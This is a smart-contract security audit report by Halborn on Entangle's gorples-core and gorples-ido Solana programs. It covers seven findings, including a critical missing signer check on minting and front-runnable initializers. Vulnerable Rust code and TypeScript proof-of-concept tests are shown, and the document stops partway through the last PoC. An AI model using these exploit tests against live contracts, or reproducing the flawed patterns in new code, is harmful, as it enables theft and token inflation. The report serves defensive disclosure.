Prepared by:
HALBORN
Last Updated 07/06/2024
Date of Engagement by: April 29th, 2024 - May 21st, 2024
100% of all REPORTED Findings have been addressed
All findings
7
Critical
1
High
0
Medium
2
Low
2
Informational
2
This security assessment report for Gorples
(ex-Borpa) examines the gorples-core
and gorples-ido
program's resilience against potential Solana's specifics threats, vulnerabilities and attack vectors. This includes a thorough examination of the logic and correct functionality of all the provided instructions, and also their security maturity.
The gorples-core
program is responsible for core operations of the $GORPLES
coin (ex $BORPA token), such as Mint
, Burn
and External Burn
. The gorples-ido
program is responsible for handling operations related to the Initial Dex Offering (IDO)
, involving administrative instructions such as Add Round
, Add Whitelist
, Airdrop
and Withdraw
, and also low-privileged users instructions, such as Buy
, Claim
and Refund
.
Entangle
team engaged Halborn
to conduct a security assessment of their Solana programs, beginning on April 29th, 2024 and ending on May 19th, 2024. The security assessment was scoped to the Solana Programs provided in Entangle-Protocol/gorples-solana GitHub repository. Commit hashes and further details can be found in the Scope section of this report.
Halborn
was provided 2 weeks
for the engagement and assigned two full-time security engineers to review the security of the Solana Programs in scope. Engineers are blockchain and smart contract security experts with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.
The purpose of the assessment is to:
Identify potential security issues within the Solana Programs.
Ensure that program functionality operates as intended.
In summary, Halborn
identified some security concerns, which have been partially addressed by Entangle team
. The main ones were the following:
Missing signer check - mint_gorples
instruction.
Insecure initialization (missing signer checks) of both programs in-scope.
Multiple input validation enhancements.
Halborn
performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.
The following phases and associated tools were used throughout the term of the assessment:
Research into the architecture, purpose, and use of the platform.
Manual program source code review to identify business logic issues.
Mapping out possible attack vectors.
Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.
Scanning dependencies for known vulnerabilities (cargo audit
).
Local runtime testing (solana-test-framework
).
External libraries and financial-related attacks.
New features/implementations after/with the remediation commit IDs.
Changes that occur outside of the scope of PRs/Commits.
EXPLOITABILIY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
1
High
0
Medium
2
Low
2
Informational
2
Security analysis | Risk level | Remediation Date |
---|---|---|
Any account can mint infinite amount of $GORPLES tokens to any compatible vault | Critical | Solved - 05/20/2024 |
Program initializers can be front-run | Medium | Solved - 05/20/2024 |
Lack of input validations can lead to loss of $SOL | Medium | Risk Accepted |
Multiple unsafe arithmetic operations | Low | Risk Accepted |
LP tokens can be minted disproportionately | Low | Risk Accepted |
Airdrop thresholds are not enforced | Informational | Acknowledged |
Unwarranted $GORPLES claiming | Informational | Acknowledged |
// Critical
The mint_gorples
instruction in the gorples_core
program allows any account that meets the config.contracts
constraint to mint tokens. This is due to the absence of a signer check for the mint_authority
account.
Therefore, if the value passed for mint_authority
meets the config.contracts
condition, no further checks are performed, allowing any account to sign for this gorples_mint
instruction.
Moreover, the vault
account is constrained to be a token account with the correct mint, but additional checks should be in place to ensure it cannot be replaced by an attacker-controlled account.
The current implementation has a critical security flaw, as it permits any malicious actor to mint an unlimited amount of $GORPLES
tokens to any vault address, potentially jeopardizing the entire system.
- gorples-core/src/lib.rs
pub fn mint_gorples(ctx: Context<MintGorples>, amount: u64) -> Result<()> {
require_gt!(amount, 0, CustomError::ZeroAmount);
let cpi_accounts = MintTo {
mint: ctx.accounts.mint.to_account_info(),
to: ctx.accounts.vault.to_account_info(),
authority: ctx.accounts.authority.to_account_info(),
};
let seed = &[ROOT, &b"AUTHORITY"[..], &[ctx.bumps.authority][..]];
let seeds = &[&seed[..]];
let cpi_ctx = CpiContext::new_with_signer(
ctx.accounts.token_program.to_account_info(),
cpi_accounts,
seeds,
);
mint_to(cpi_ctx, amount)
}
#[derive(Accounts)]
pub struct MintGorples<'info> {
/// Mint authority
/// CHECK: not loaded
#[account(
constraint = config.contracts.contains(&mint_authority.key()) @ CustomError::Unauthorized
)]
pub mint_authority: UncheckedAccount<'info>,
/// Gorples core authority
/// CHECK: not loaded
#[account(seeds = [ROOT, b"AUTHORITY"], bump)]
pub authority: UncheckedAccount<'info>,
/// Gorples config
#[account(seeds = [ROOT, b"CONFIG"], bump)]
pub config: Box<Account<'info, Config>>,
/// Gorples mint
#[account(
mut,
address = config.mint,
mint::authority = authority,
mint::decimals = GORPLES_DECIMALS,
mint::token_program = token_program
)]
pub mint: Box<InterfaceAccount<'info, Mint>>,
/// Target vault
#[account(mut, token::mint = mint, mint::token_program = token_program)]
pub vault: Box<InterfaceAccount<'info, TokenAccount>>,
pub token_program: Program<'info, Token2022>,
}
The following test scenario, with the necessary parameters, is a valid instruction with no signer enforcement, meaning that anyone could craft a malicious instruction in order to mint unrestricted amount of $GORPLES
.
To reproduce the vulnerability, a call from any account can be performed to the mint_gorples
instruction, which is not enforcing signer validations.
As long as the vault
informed is a compatible vault (mint = $GORPLES
), it will mint unrestricted amount (passed as amount
parameter) of $GORPLES
tokens to any attacker-controlled vault
.
PoC Code
- test/Ido_test.ts
it("Anyone can call mint instruction", async () => {
const authority = web3.PublicKey.findProgramAddressSync(
[ROOT, utf8.encode("AUTHORITY")],
gorplesCoreProgram.programId
)[0];
const attackerVault = await getOrCreateAssociatedTokenAccount(
provider.connection,
user,
gorplesCore.mint,
user.publicKey,
undefined,
undefined,
undefined,
TOKEN_2022_PROGRAM_ID
);
console.log(`$GORPLES tokens in attacker vault before mint exploit: ${attackerVault.amount}`);
const mintAuthority = web3.PublicKey.findProgramAddressSync(
[ROOT, utf8.encode("AUTHORITY")],
gorplesIdoProgram.programId
)[0];
await gorplesCoreProgram.methods
.mintGorples(
new anchor.BN(50_000_000).mul(GORPLETS)
)
.accounts({
mintAuthority: mintAuthority,
authority: authority,
config: gorplesCore.config,
mint: gorplesCore.mint,
vault: attackerVault.address,
tokenProgram: TOKEN_2022_PROGRAM_ID
})
.signers([])
.rpc();
const attackerVaultAfter = await getOrCreateAssociatedTokenAccount(
provider.connection,
user,
gorplesCore.mint,
user.publicKey,
undefined,
undefined,
undefined,
TOKEN_2022_PROGRAM_ID
);
console.log(`$GORPLES tokens in attacker vault after mint exploit: ${attackerVaultAfter.amount}`);
});
Output logs
✔ Initialize (15973ms)
$GORPLES tokens in attacker vault before mint exploit: 0
$GORPLES tokens in attacker vault after mint exploit: 50000000000000
✔ Anyone can call mint instruction (467ms)
From the output logs it is possible to observe that an extremely high amount of $GORPLES
tokens was minted to an attacker-controlled vault
.
To mitigate this risk, it is recommended to enforce signer verifications in the gorples_mint
instruction, so only authorized parties with the required privileges can call the mint instruction. It is also important to enforce that ctx.accounts.vault.to_account_info()
is a trusted vault address to receive the minted tokens.
SOLVED: The Entangle team solved the issue as recommended, by adding a signer check on the gorples_mint
instruction. The commit hash containing the remediation is 1df65f7f6f672651bb488e8c811f1674d2b37fb6
.
// Medium
The current implementation of the initialize
instruction in the gorples-ido
and gorples-core
programs does not enforce any constraints to ensure that it is signed by a trusted and known address, such as the program's upgrade authority.
This lack of validation could allow an attacker to front-run the initialization process, potentially setting up the programs with accounts under their control.
- gorples-ido/src/instructions/initialize.rs
#[derive(Accounts)]
pub struct Initialize<'info> {
#[account(mut, signer)]
pub admin: Signer<'info>,
#[account(init, space = TgeConfig::LEN, payer = admin, seeds = [ROOT, b"CONFIG"], bump)]
pub tge_config: Box<Account<'info, TgeConfig>>,
// ...
}
pub fn handle_initialize(
ctx: Context<Initialize>,
lp_wallet: Pubkey,
lp_amount: u64,
) -> Result<()> {
ctx.accounts.tge_config.admin = ctx.accounts.admin.key();
ctx.accounts.tge_config.lp_wallet = lp_wallet;
ctx.accounts.tge_config.lp_amount = lp_amount;
ctx.accounts.tge_config.tge_time = 0;
// Mint tokens for test
let bump = &[ctx.bumps.authority][..];
let seed = &[ROOT, b"AUTHORITY", bump][..];
let seeds = &[seed][..];
let accounts = MintGorples {
mint_authority: ctx.accounts.authority.to_account_info(),
authority: ctx.accounts.core_authority.to_account_info(),
config: ctx.accounts.core_config.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi =
CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
mint_gorples(cpi, 100_000_000)
}
Likewise, the current implementation of the initialize
instruction in the gorples-core
program does not enforce any constraints to ensure that it is also called by a trusted and known address, leading to the same issue as described above.
- gorples-core/src/lib.rs
pub fn initialize(
ctx: Context<Initialize>,
bridge_authority: Pubkey,
farm_authority: Pubkey,
tge_authority: Pubkey,
) -> Result<()> {
ctx.accounts.config.admin = ctx.accounts.admin.key();
ctx.accounts.config.contracts = [bridge_authority, farm_authority, tge_authority];
ctx.accounts.config.mint = ctx.accounts.mint.key();
Ok(())
}
- gorples-core/src/lib.rs
#[derive(Accounts)]
pub struct Initialize<'info> {
/// Admin wallet
#[account(signer, mut)]
pub admin: Signer<'info>,
/// Gorples token authority
/// CHECK: not loaded
#[account(seeds = [ROOT, b"AUTHORITY"], bump)]
pub authority: UncheckedAccount<'info>,
/// Gorples mint
#[account(
mut,
mint::authority = authority,
mint::decimals = GORPLES_DECIMALS,
mint::token_program = token_program
)]
pub mint: Box<InterfaceAccount<'info, Mint>>,
/// Gorples config
#[account(init, payer = admin, space = Config::LEN, seeds = [ROOT, b"CONFIG"], bump)]
pub config: Box<Account<'info, Config>>,
pub token_program: Program<'info, Token2022>,
pub system_program: Program<'info, System>,
}
If the initialization instruction is not called by a known and trusted address, the program becomes vulnerable to malicious exploitation. In such a scenario, an attacker can abuse the initialization process by configuring the program using accounts under their control. This unauthorized access to the program's setup can have severe consequences, including:
Unintended program behavior: The attacker can manipulate the program's logic, leading to unintended or unpredictable outcomes that can negatively impact the system and its users.
Theft of assets: By configuring the program with their own accounts, the attacker can potentially divert or steal assets that are meant to be managed or distributed by the program.
Loss of trust: The exploitation of the program can result in a loss of trust among its users and the broader community, which can be detrimental to the program's adoption and long-term success.
Both the initialization of the gorples-core
and gorples-ido
programs can be performed by any non-privileged user.
To reproduce this vulnerability, consider calling the initializer
instructions on both gorples-ido
and gorples-core
program and sign the transaction as a low-privileged (non-admin) user.
The transaction will go through, indicating that anyone can call the programs initializers, and therefore write arbitrary data to critical program's state.
PoC Code
- test/Ido_test.ts
it("Initialize", async () => {
gorplesCore = await setupCore(0, BigInt(0), user, mint, provider);
const tgeConfig = await web3.PublicKey.findProgramAddressSync(
[ROOT, utf8.encode("CONFIG")],
gorplesIdoProgram.programId
)[0];
const vault = await getOrCreateAssociatedTokenAccount(
provider.connection,
admin,
gorplesCore.mint,
admin.publicKey,
undefined,
undefined,
undefined,
TOKEN_2022_PROGRAM_ID
);
const authority = web3.PublicKey.findProgramAddressSync(
[ROOT, utf8.encode("AUTHORITY")],
gorplesIdoProgram.programId
)[0];
await gorplesIdoProgram.methods
.initialize(user.publicKey, new anchor.BN(50000))
.accounts({
admin: user.publicKey,
tgeConfig: tgeConfig,
authority: authority,
coreAuthority: gorplesCore.authority,
coreConfig: gorplesCore.config,
mint: gorplesCore.mint,
vault: vault.address,
gorplesCore: gorplesCoreProgram.programId,
tokenProgram: TOKEN_2022_PROGRAM_ID,
systemProgram: SystemProgram.programId,
})
.signers([user])
.rpc();
console.log(`Initialized Core and IDO programs as ${user.publicKey} - Low-priv user`);
});
The initialization process will succeed, demonstrating a scenario where low-privileged users (non-admins) can call the initialize
instructions and write insecure data to both program states.
To mitigate these risks, it is recommended to ensure that the initialization instruction is called by a trusted and known address, such as the program's upgrade authority, and that proper access controls and validations are in place.
SOLVED: The Entangle team solved the issue by allowing initializers to be called only by DEPLOYER
. The commit hash containing the remediation is 1df65f7f6f672651bb488e8c811f1674d2b37fb6
.
// Medium
During the initialization of the program, the lp_wallet
address can be set without any further checks for the validity of the provided address. This means that the lp_wallet
address could be mistakenly initialized to point to an address that is not controlled by the protocol. It is recommended to enforce the use of a trusted multisig address, controlled by the protocol, to ensure the security and integrity of the platform.
- gorples-ido/src/instructions/initialize.rs
pub fn handle_initialize(
ctx: Context<Initialize>,
lp_wallet: Pubkey,
lp_amount: u64,
) -> Result<()> {
ctx.accounts.tge_config.admin = ctx.accounts.admin.key();
ctx.accounts.tge_config.lp_wallet = lp_wallet;
ctx.accounts.tge_config.lp_amount = lp_amount;
ctx.accounts.tge_config.tge_time = 0;
// Mint tokens for test
let bump = &[ctx.bumps.authority][..];
let seed = &[ROOT, b"AUTHORITY", bump][..];
let seeds = &[seed][..];
let accounts = MintGorples {
mint_authority: ctx.accounts.authority.to_account_info(),
authority: ctx.accounts.core_authority.to_account_info(),
config: ctx.accounts.core_config.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi =
CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
mint_gorples(cpi, 100_000_000)
}
When adding a new round through the add_round
instruction, the value for sol_deposited
is not enforced to be equal to 0. This could lead to rounds being initialized with the sol_deposited
counter in the Round account having non-zero values. This is illogical, as no $SOL
deposits could have been made to a round that hasn't started yet. It is recommended to initialize a round with sol_deposited
set to 0 to ensure accurate and consistent tracking of deposits.
- gorples-ido/src/instructions/add_round.rs
pub fn handle_add_round(ctx: Context<AddRound>, round_id: Vec<u8>, round: Round) -> Result<()> {
if round_id == b"public" && !round.overflow {
return Err(CustomError::NotOverflowRound.into());
}
require_gt!(round.total_tokens, 0);
require_eq!(round.total_claimed, 0);
require_eq!(round.total_bought, 0);
require_gte!(10000, round.immediately_available);
**ctx.accounts.round = round;
Ok(())
}
These issues have a direct impact on the calculations performed in the withdraw
instructions, specifically in the to_refund
variable, which considers the value of round.sol_deposited
for its attribution. The withdraw
instruction subsequently sends the value of to_refund
in $SOL
to the address of the lp_wallet
.
This issue could lead to a situation where the admin cannot call the withdraw
instruction, because it will send the deposited $SOL
, which is entitled to the protocol, to the wrong address attributed to the lp_wallet
. Also, it is important to highlight that there is no mechanism, admin controlled, that would allow changing the lp_wallet
address, to mitigate this issue.
To reproduce this issue, make sure to adjust the utility file rounds.ts
accordingly, by manipulating the initializing values, as sol_deposited > 0
on the targeted round.
Call the withdraw
instruction as an authorized user. The screenshots below demonstrates the clear difference on the authority's balance after the withdraw instruction is called, and the round was initialized with sol_deposited > 0
.
- rounds.ts
{
id: "public",
public: true,
overflow: true,
startTime: new anchor.BN(Date.parse("09 May 2024 19:30:00 UTC+3") / 1000),
duration: new anchor.BN(10 * 60),
price: new anchor.BN(1),
totalTokens: new anchor.BN(40_000_000).mul(GORPLETS)
immediatelyAvailable: new anchor.BN(10000),
solDeposited: new anchor.BN(10_000_000),
linearUnlockTime: new anchor.BN(0),
cliff: new anchor.BN(0),
},
PoC Code
- test/Ido_test.ts
it("Withdraw - sol_deposited > 0", async() => {
/// Check authority balance before purchase
const gorplesIDOAuthorityBalanceBefore = await provider.connection.getBalance(gorplesIdo.authority);
console.log(`Gorples IDO authority balance before is: ${gorplesIDOAuthorityBalanceBefore}`);
/// `publicUser` will be used in this case
const inputAmount = new anchor.BN(LAMPORTS_PER_SOL * 50); /// oversold state is reached - rounds.ts
const slot = await provider.connection.getSlot();
const timestamp = await provider.connection.getBlockTime(slot);
/// admin calls `set_interval` instruction
await gorplesIdoProgram.methods
.setInterval(
Buffer.from(utf8.encode("public")),
new anchor.BN(timestamp),
new anchor.BN(timestamp + 500)
)
.accounts({
admin: admin.publicKey,
tgeConfig: gorplesIdo.tgeConfig,
round: publicRound,
})
.signers([admin])
.rpc();
/// public user purchases 3 times
for (let i = 0; i < 3; i++) {
await gorplesIdoProgram.methods
.buy(Buffer.from(utf8.encode("public")), inputAmount)
.accounts({
user: publicUser.publicKey,
authority: gorplesIdo.authority,
tgeConfig: gorplesIdo.tgeConfig,
round: publicRound,
roundBalance: publicRoundBalance,
whitelist: null,
clock: SYSVAR_CLOCK_PUBKEY,
systemProgram: SystemProgram.programId,
})
.signers([publicUser])
.rpc();
}
/// Check authority balance after purchase
const gorplesIDOAuthorityBalanceAfter = await provider.connection.getBalance(gorplesIdo.authority);
console.log(`Gorples IDO authority balance after is: ${gorplesIDOAuthorityBalanceAfter}`);
/// needs to start TGE
await gorplesIdoProgram.methods
.startTge()
.accounts({
admin: admin.publicKey,
tgeConfig: gorplesIdo.tgeConfig,
clock: SYSVAR_CLOCK_PUBKEY,
systemProgram: SystemProgram.programId,
})
.signers([admin])
.rpc();
/// admin calls withdraw, as overselling state
/// is reached, `to_refund` is going to be calculated
/// and it is expected to withdraw more than warranted
/// because of manipulated state when initializing the round
/// (sol_deposited > 0)
await gorplesIdoProgram.methods
.withdraw()
.accounts({
admin: admin.publicKey,
lpWallet: admin.publicKey,
tgeConfig: gorplesIdo.tgeConfig,
round: publicRound,
authority: gorplesIdo.authority,
gorplesCoreConfig: gorplesCore.config,
gorplesCoreAuthority: gorplesCore.authority,
gorplesMint: gorplesCore.mint,
gorplesVault: gorplesIdo.vaultAddress,
tokenProgram: TOKEN_2022_PROGRAM_ID,
gorplesCore: gorplesCoreProgram.programId,
associatedTokenProgram: ASSOCIATED_TOKEN_PROGRAM_ID,
systemProgram: SystemProgram.programId
})
.signers([admin])
.rpc();
/// Check authority balance after withdraw [admin]
const gorplesIDOAuthorityBalanceAfterWithdraw = await provider.connection.getBalance(gorplesIdo.authority);
console.log(`Gorples IDO authority balance AFTER WITHDRAW is: ${gorplesIDOAuthorityBalanceAfterWithdraw}`);
});
To mitigate this issue, the following measures are recommended:
Enforce the use of a trusted multisig address for lp_wallet
: To ensure the security and integrity of the platform, it is recommended to enforce the use of a trusted multisig address, controlled by the protocol, for the lp_wallet
during the initialization of the program. This can be achieved by adding a check to verify the provided lp_wallet
address against a pre-determined multisig address.
Initialize a round with sol_deposited
set to 0
: To ensure accurate and consistent tracking of $SOL
deposits, it is recommended to initialize a round with the sol_deposited
counter in the Round
account set to 0. This can be achieved by explicitly setting the value of sol_deposited
to 0 during the creation of a new Round
.
RISK ACCEPTED: The Entangle team accepted the risk related to this finding.
// Low
In the gorples-ido
and gorples-core
programs, the Cargo.toml
file has overflow-checks = true
enabled, which is a commendable practice. However, it is also recommended to incorporate safe arithmetic operations throughout the program code to further enhance security and reliability.
The provided code excerpts reveal several occurrences of unsafe arithmetic operations.
- gorples-ido/src/instructions/buy.rs
pub fn handle_buy(ctx: Context<Buy>, input_amount: u64) -> Result<()> {
require_gt!(input_amount, 0, CustomError::ZeroInputAmount);
require_gt!(ctx.accounts.round.price, 0, CustomError::AirdropOnlyRound);
let token_amount = 10000 * input_amount / ctx.accounts.round.price;
require_gt!(token_amount, 0, CustomError::ZeroOutputAmount);
let cpi_context = CpiContext::new(
ctx.accounts.system_program.to_account_info(),
system_program::Transfer {
from: ctx.accounts.user.to_account_info(),
to: ctx.accounts.authority.to_account_info(),
},
);
- gorples-ido/src/instructions/withdraw.rs
pub fn handle_withdraw(ctx: Context<Withdraw>) -> Result<()> {
// Transfer sol
// to_refund = sol * (1 - total/bought)
let reserved = 1000000;
let to_refund = if ctx.accounts.round.total_bought > ctx.accounts.round.total_tokens {
let sol_deposited = u128::from(ctx.accounts.round.sol_deposited);
sol_deposited
- sol_deposited * u128::from(ctx.accounts.round.total_tokens)
/ u128::from(ctx.accounts.round.total_bought)
} else {
0
};
- gorples-ido/src/instructions/claim.rs
pub fn handle_claim(ctx: Context<Claim>) -> Result<()> {
let total_tokens = if ctx.accounts.round.overflow
&& ctx.accounts.round.total_bought > ctx.accounts.round.total_tokens
{
u128::from(ctx.accounts.round_balance.total) * u128::from(ctx.accounts.round.total_tokens)
/ u128::from(ctx.accounts.round.total_bought)
} else {
u128::from(ctx.accounts.round_balance.total)
};
let immediately_available: u128 =
total_tokens * u128::from(ctx.accounts.round.immediately_available) / 10000;
let mut total_available = immediately_available;
let to_vest_total = total_tokens - immediately_available;
let unlock_time = ctx.accounts.round.linear_unlock_time;
let delta = ctx.accounts.clock.unix_timestamp as u64 - ctx.accounts.tge_config.tge_time;
if unlock_time != 0 && to_vest_total != 0 && delta > ctx.accounts.round.cliff {
let time_delta = u64::min(delta - ctx.accounts.round.cliff, unlock_time);
total_available += to_vest_total * u128::from(time_delta) / u128::from(unlock_time);
}
require_gt!(
total_available,
u128::from(ctx.accounts.round_balance.claimed),
CustomError::ZeroOutputAmount
);
let to_claim: u64 = (total_available - u128::from(ctx.accounts.round_balance.claimed))
.try_into()
.map_err(|_| CustomError::U64CastOverflow)?;
- gorples-ido/src/instructions/refund.rs
pub fn handle_refund(ctx: Context<Refund>) -> Result<()> {
if ctx.accounts.round.total_bought <= ctx.accounts.round.total_tokens {
return Ok(());
}
if ctx.accounts.round_balance.refunded {
return Err(CustomError::AlreadyRefunded.into());
}
// solDeposit * (1 - total/bought)
let sol_deposited = u128::from(ctx.accounts.round_balance.sol_deposited);
let to_refund = sol_deposited
- sol_deposited * u128::from(ctx.accounts.round.total_tokens)
/ u128::from(ctx.accounts.round.total_bought);
require_gt!(to_refund, 0, CustomError::ZeroOutputAmount);
ctx.accounts.round_balance.refunded = true;
let bump = &[ctx.bumps.authority][..];
let seed = &[ROOT, b"AUTHORITY", bump][..];
let seeds = &[seed][..];
let cpi_context = CpiContext::new_with_signer(
ctx.accounts.system_program.to_account_info(),
system_program::Transfer {
from: ctx.accounts.authority.to_account_info(),
to: ctx.accounts.user.to_account_info(),
},
seeds,
);
Utilize Rust's checked_*
arithmetic functions on each integer type to strategically detect overflows and underflows within the program. These functions will return a None
value if an overflow or underflow occurs, enabling the program to address the issue gracefully and prevent potential security vulnerabilities.
RISK ACCEPTED: The Entangle team accepted the risk related to this finding.
// Low
In the initialize
instruction of the gorples-ido
program, there is no enforcement of a reasonable value for the lp_amount
parameter. This non-validated lp_amount
is then utilized in the withdraw
instruction to execute a CPI (Cross-Program Invocation) call to the mint_gorples
function, resulting in the minting of lp_amount
tokens to the gorples_vault
.
Specifically, there is no verification in place for the value provided in the lp_amount
parameter, as follows:
- gorples-ido/src/instructions/initialize.rs
pub fn handle_initialize(
ctx: Context<Initialize>,
lp_wallet: Pubkey,
lp_amount: u64,
) -> Result<()> {
ctx.accounts.tge_config.admin = ctx.accounts.admin.key();
ctx.accounts.tge_config.lp_wallet = lp_wallet;
ctx.accounts.tge_config.lp_amount = lp_amount;
ctx.accounts.tge_config.tge_time = 0;
// Mint tokens for test
let bump = &[ctx.bumps.authority][..];
let seed = &[ROOT, b"AUTHORITY", bump][..];
let seeds = &[seed][..];
let accounts = MintGorples {
mint_authority: ctx.accounts.authority.to_account_info(),
authority: ctx.accounts.core_authority.to_account_info(),
config: ctx.accounts.core_config.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi =
CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
mint_gorples(cpi, 100_000_000)
}
Subsequently, through the withdraw
instruction, the lp_amount
tokens are transferred to the gorples_vault
, which is the associated token account (ATA) for the lp_wallet
and gorples_mint
.
The absence of a threshold for the lp_amount
parameter can lead to the unwarranted or unfair minting of $GORPLES
tokens, potentially damaging the fair distribution of LP tokens.
Implement a reasonable threshold value for lp_amount
and enforce it by using a require
statement during the checks of the initialize
function, for example:
require_gte!(
<reasonable_lp_amount>,
lp_amount,
CustomError::InvalidLpAmount
);
This will enforce the usage of a valid lp_amount
value when initializing the gorples-ido
program.
RISK ACCEPTED: The Entangle team accepted the risk related to this finding.
// Informational
The current implementation of the handle_airdrop
instruction in the gorples-ido
program does not enforce any airdrop thresholds or eligibility criteria, allowing privileged users (admins) to establish any value for the airdrop
, which will be later claimable by the user.
- gorples-ido/src/instructions/airdrop.rs
pub fn handle_airdrop(ctx: Context<Airdrop>, amount: u64) -> Result<()> {
require_gt!(amount, 0, CustomError::ZeroInputAmount);
ctx.accounts.round.total_bought += amount;
require_gte!(
ctx.accounts.round.total_tokens,
ctx.accounts.round.total_bought,
CustomError::MaxRoundAmountReached
);
ctx.accounts.round_balance.total += amount;
Ok(())
}
While it effectively prevents to airdrop more than tokens allowed in a determined round, it does not directly ensure the stability of the system because it does not implement thresholds to limit minimum and maximum airdrop amount, per account.
To address this issue, it is recommended to enforce airdrop thresholds by adding checks to the handle_airdrop
function that verify the requested airdrop amount against the predefined limits. This can help prevent users from claiming excess tokens and ensure a fair distribution.
ACKNOWLEDGED: The Entangle team acknowledged the risk related to this finding.
// Informational
In the current implementation of the gorples-ido program, the input total_tokens
is not validated when initializing a new round using the add_round
instruction. This value is only used in the buy
instruction when the round is not in an overflow state (!overflow
). However, if the round is in an overflow state and total_tokens
is set to a disproportionately high amount, it can lead to an unfair distribution of $GORPLES
.
- gorples-ido/src/instructions/add_round.rs
pub fn handle_add_round(ctx: Context<AddRound>, round_id: Vec<u8>, round: Round) -> Result<()> {
if round_id == b"public" && !round.overflow {
return Err(CustomError::NotOverflowRound.into());
}
require_gt!(round.total_tokens, 0);
require_eq!(round.total_claimed, 0);
require_eq!(round.total_bought, 0);
require_gte!(10000, round.immediately_available);
**ctx.accounts.round = round;
Ok(())
}
- gorples-ido/src/instructions/claim.rs
pub fn handle_claim(ctx: Context<Claim>) -> Result<()> {
let total_tokens = if ctx.accounts.round.overflow
&& ctx.accounts.round.total_bought > ctx.accounts.round.total_tokens
{
u128::from(ctx.accounts.round_balance.total) * u128::from(ctx.accounts.round.total_tokens)
/ u128::from(ctx.accounts.round.total_bought)
} else {
u128::from(ctx.accounts.round_balance.total)
};
let immediately_available: u128 =
total_tokens * u128::from(ctx.accounts.round.immediately_available) / 10000;
let mut total_available = immediately_available;
let to_vest_total = total_tokens - immediately_available;
let unlock_time = ctx.accounts.round.linear_unlock_time;
let delta = ctx.accounts.clock.unix_timestamp as u64 - ctx.accounts.tge_config.tge_time;
if unlock_time != 0 && to_vest_total != 0 && delta > ctx.accounts.round.cliff {
let time_delta = u64::min(delta - ctx.accounts.round.cliff, unlock_time);
total_available += to_vest_total * u128::from(time_delta) / u128::from(unlock_time);
}
require_gt!(
total_available,
u128::from(ctx.accounts.round_balance.claimed),
CustomError::ZeroOutputAmount
);
let to_claim: u64 = (total_available - u128::from(ctx.accounts.round_balance.claimed))
.try_into()
.map_err(|_| CustomError::U64CastOverflow)?;
ctx.accounts.round_balance.claimed += to_claim;
ctx.accounts.round.total_claimed += to_claim;
let accounts = MintGorples {
mint_authority: ctx.accounts.authority.to_account_info(),
authority: ctx.accounts.core_authority.to_account_info(),
config: ctx.accounts.core_config.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
vault: ctx.accounts.user_vault.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let bump = &[ctx.bumps.authority][..];
let seed = &[ROOT, b"AUTHORITY", bump][..];
let seeds = &[seed][..];
let cpi =
CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
gorples_core::cpi::mint_gorples(cpi, to_claim)
}
In this scenario, anyone can claim a much larger amount of $GORPLES
tokens than they should when calling the claim
instruction. This issue can have significant consequences, as it undermines the integrity and fairness of the token distribution process, potentially leading to loss of trust among users and stakeholders.
To reproduce this vulnerability, a Round
with an abnormally high amount for total_tokens
must be initialized. Then, run the following test scripts and expect the user claiming more $GORPLES
tokens than expected in a normal situation.
PoC Code
it("Claim public", async () => {
const balancePublicUserBeforeClaim = await provider.connection.getBalance(
publicUser.publicKey
);
console.log(`Public user balance before claim is ${balancePublicUserBeforeClaim}`);
let userVault = await getOrCreateAssociatedTokenAccount(
provider.connection,
publicUser,
gorplesCore.mint,
publicUser.publicKey,
undefined,
undefined,
undefined,
TOKEN_2022_PROGRAM_ID
);
console.log(`Public user VAULT before claim is ${userVault.amount}`);
expect(userVault.amount).eq(BigInt(0));
await gorplesIdoProgram.methods
.claim(Buffer.from(utf8.encode("public")))
.accounts({
user: publicUser.publicKey,
tgeConfig: gorplesIdo.tgeConfig,
round: publicRound,
roundBalance: publicRoundBalance,
mint: gorplesCore.mint,
userVault: userVault.address,
authority: gorplesIdo.authority,
coreAuthority: gorplesCore.authority,
coreConfig: gorplesCore.config,
